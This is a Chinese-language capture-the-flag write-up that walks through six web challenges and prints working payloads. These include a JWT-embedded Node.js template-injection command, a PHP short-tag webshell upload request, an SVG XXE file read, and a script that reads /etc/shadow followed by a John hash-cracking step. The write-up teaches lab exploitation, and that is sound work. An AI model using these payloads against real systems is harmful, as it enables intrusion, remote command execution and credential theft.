一. VibeSEO

题目提示:

“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”

访问 sitemap.xml 深入探测:

返回一个 PHP 文件,继续访问:

发现需要 filename 参数,尝试读取源码:

1
2
3
4
5
6
7
8
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}
?>

文件没有被 fclose(),文件描述符存在于 /proc/self/fd/* 下。

但代码有字符长度限制,使用 /dev/fd/* 绕过(/dev/fd/*/proc/self/fd/* 的别名)。

用 Burp 爆破文件描述符编号:

Flag: SYC{019ad278d7b67aca8378ea16ef1ddbfc}


二. Express

爆破 JWT 得到 key 值为 secret

使用 jwt.io 将 username 改为管理员无效,猜测 username 处可能有 RCE:

改为 Node.js SSTI payload:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InExLmNvbSIsInVzZXJuYW1lIjoiPCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdlbnYnKSAlPiIsImlhdCI6MTc2NDUwMTAzNCwiZXhwIjoxNzY1MTA1ODM0fQ.1hMExTTyfSo0h5FocHTYzTPcDkXbzJlVrMNipXxYeWA

Flag: SYC{019ad47479287f4e9a762b6321d8408d}


三. one_last_image

文件上传页面,虽然只允许传图片,但可以直接改后缀为 .php

考点是短标签绕过,phpsystem 等关键字会被拦截。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: ...
Content-Type: multipart/form-data; boundary=----geckoformboundary

------geckoformboundary
Content-Disposition: form-data; name="image"; filename="webshell.php"
Content-Type: image/png

<?echo `env`?>

------geckoformboundary
Content-Disposition: form-data; name="colorsize"

20
------geckoformboundary
Content-Disposition: form-data; name="mode"

light
------geckoformboundary--

响应返回上传路径,直接访问获得 flag:


四. eezzzzzzzzzzip

打开是登录页,目录扫描发现 www.zip

www.zip 包含三个文件。查看 login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
session_start();
$err = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$u = $_POST['user'] ?? '';
$p = $_POST['pass'] ?? '';
if ($u === 'admin' && $p === 'guest123') {
$_SESSION['user'] = $u;
header("Location: index.php");
exit;
} else {
$err = '登录失败:用户名或密码错误';
}
}
?>

账号密码:admin / guest123

登录后查看 upload.php,白名单只允许 zipbz2gzxz7z,检查文件开头和结尾 4KB,存在沙箱随机目录。

绕过思路:上传 Phar → 制作为 .gz 压缩包,文件包含时解压并解析 Phar 包执行代码。

Flag

SYC{LMAO}


五. Image Viewer

SVG XXE 漏洞:

EXP

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

Flag: SYC{Go0d_SVG_worK}


六. PDF_Viewer

读取 /etc/shadow

1
2
3
4
5
6
7
8
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/shadow");
x.send();
</script>

获得哈希后用 John 爆破:

1
2
echo '$1$wJOmQRtK$Lf3l/z0uT/EAsFm3vQkuf.' > hash.txt
john hash.txt

密码:qwerty

Flag

SYC{Y0u_ArE_PDf_mAster}